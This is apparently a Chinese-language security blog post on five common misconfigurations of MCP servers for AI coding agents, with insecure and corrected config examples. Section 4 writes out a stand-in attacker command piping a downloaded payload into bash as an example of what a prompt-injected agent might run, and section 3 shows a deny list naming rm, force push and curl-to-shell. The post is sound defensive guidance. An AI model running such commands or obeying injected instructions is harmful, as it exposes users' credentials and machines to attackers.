跳到正文
返回博客
MCP配置漏洞

每次扫描都能发现的 5 个 MCP 配置错误

在扫描了数百个 MCP 配置后,同样的五个错误反复出现。这些错误没有一个是高级的,但每一个都很危险。

每次扫描都能发现的 5 个 MCP 配置错误

把你的 Agent 变成安全隐患的配置问题

我们扫描了数百个 MCP 配置——涵盖 Claude Code、Cursor、Windsurf 以及各种自建 Agent 方案。相同的五个错误反复出现,频率高得令人不安。这些错误没有一个是高级的,但每一个都很危险。下面逐一拆解,并给出具体修复方案。

1. 文件系统服务器没有目录限制

问题描述:MCP 文件系统服务器的路径参数设为根目录或用户主目录,Agent 获得了对整台机器的读写权限。

为什么危险:你的主目录下有 ~/.ssh/(私钥)、~/.aws/credentials(云访问密钥)、~/.config/(各种应用 token)、浏览器配置文件(可能含保存的密码),以及散落在各个项目中的 .env 文件。一个拥有无限制文件系统权限的 Agent,距离泄露这些内容只差一次提示注入。

错误配置:

{
  "mcpServers": {
    "filesystem": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-filesystem", "/Users/dev"]
    }
  }
}

正确配置:

{
  "mcpServers": {
    "filesystem": {
      "command": "npx",
      "args": [
        "-y", "@modelcontextprotocol/server-filesystem",
        "/Users/dev/projects/my-app/src",
        "/Users/dev/projects/my-app/tests"
      ]
    }
  }
}

修复方法:明确指定 Agent 需要访问的目录。文件系统服务器支持多个路径参数——用上它。如果 Agent 只需要编辑 src/ 下的源码和运行 tests/ 下的测试,就只给这两个路径。

2. 在环境变量块中硬编码 API Key

问题描述:在 MCP 服务器配置的 env 字段中直接写入 API 密钥、token 等敏感凭证。

为什么危险:MCP 配置文件会被提交到代码仓库、在团队间共享、出现在 CI/CD 流水线日志中、被复制到新人入职文档里。写在 claude_desktop_config.json 里的 GitHub Token 不是"密钥"——它是一颗带着分发列表的定时炸弹。

错误配置:

{
  "mcpServers": {
    "github": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-github"],
      "env": {
        "GITHUB_PERSONAL_ACCESS_TOKEN": "ghp_R4nD0mT0k3nV4lu3H3r3"
      }
    }
  }
}

正确配置:

{
  "mcpServers": {
    "github": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-github"],
      "env": {
        "GITHUB_PERSONAL_ACCESS_TOKEN": "op://Private/GitHub-Agent/token"
      }
    }
  }
}

修复方法:使用密钥管理器的引用格式(1Password CLI 的 op:// URI、Bitwarden CLI 或 AWS Secrets Manager)。配置文件中不应出现任何可以直接当凭证使用的值。

3. 破坏性操作没有审批门槛

问题描述:Agent 的所有工具调用都设为自动批准,包括删除文件、发送邮件、修改基础设施或执行购买等不可逆操作。

为什么危险:自动批准是为了开发者体验——编码时谁也不想每读一个文件都点一次"允许"。但当这个无差别的批准同时覆盖了 rm -rf、git push --force、kubectl delete 或给你的通讯录群发邮件时,模型的一次错误推理就能造成无法挽回的现实损失。

错误配置:

{
  "permissions": {
    "allow": ["*"]
  }
}

正确配置:

{
  "permissions": {
    "allow": ["Read", "Glob", "Grep", "WebSearch"],
    "deny": ["Bash(rm *)", "Bash(git push *)", "Bash(curl * | sh)"]
  }
}

修复方法:将只读和安全操作加入自动批准白名单,其他一律要求手动确认。花五秒钟点一下"批准",比花五个小时做事故恢复划算得多。

4. Agent 直接在宿主机上裸跑

问题描述:AI Agent 直接在宿主操作系统上执行,拥有完整的系统资源、网络和进程空间访问权限。

为什么危险:没有隔离的情况下,一个被诱导执行 curl attacker.com/payload | bash 的 Agent,会以你的用户权限运行恶意载荷。它可以读取所有进程的环境变量(里面经常有密钥)、建立反向 Shell、修改定时任务、横向移动到内网其他机器。

错误做法:

# 完全没有隔离
claude --mcp-config ./mcp.json

正确做法:

services:
  agent:
    image: node:20-slim
    security_opt:
      - no-new-privileges:true
    read_only: true
    tmpfs:
      - /tmp:size=100M
    cap_drop:
      - ALL
    mem_limit: 2g
    cpus: "1.0"
    volumes:
      - ./src:/workspace/src:rw
      - ./tests:/workspace/tests:ro

修复方法:在容器中运行 Agent——read_only 文件系统、丢弃所有 Linux capabilities、设置内存和 CPU 限制、只挂载 Agent 确实需要的目录。

5. 工具白名单使用通配符

问题描述:在工具白名单中使用通配符模式,无意中授予了 MCP 服务器暴露的所有工具的访问权限——包括你不知道存在的工具。

为什么危险:你装了一个"只读 GitHub 访问"的服务器,但它可能同时暴露了 create_issue、merge_pull_request、delete_branch 和 update_repository_settings。通配符白名单意味着服务器提供的所有工具——包括未来更新中新增的——对 Agent 都可用。

错误配置:

{
  "mcpServers": {
    "github": {
      "allowedTools": ["*"]
    }
  }
}

正确配置:

{
  "mcpServers": {
    "github": {
      "allowedTools": [
        "get_file_contents",
        "search_repositories",
        "list_issues",
        "get_pull_request"
      ]
    }
  }
}

修复方法:用精确名称列出 Agent 被允许使用的每个工具。不要用通配符。新增 MCP 服务器时,先列出它暴露的所有工具,只挑选你的 Agent 实际需要的。

五个错误背后的共同规律

这五个配置错误遵循同一个模式:开发者在初始配置时选择了阻力最小的路径,而默认值恰好是不安全的。文件系统路径写了 /。API Key 直接内联。自动批准全部打开。容器化被跳过。工具白名单用了 *。

安全性是这些小决策的总和。现在就修复它们。大约需要十五分钟。远比你下一次事故响应要花的时间少。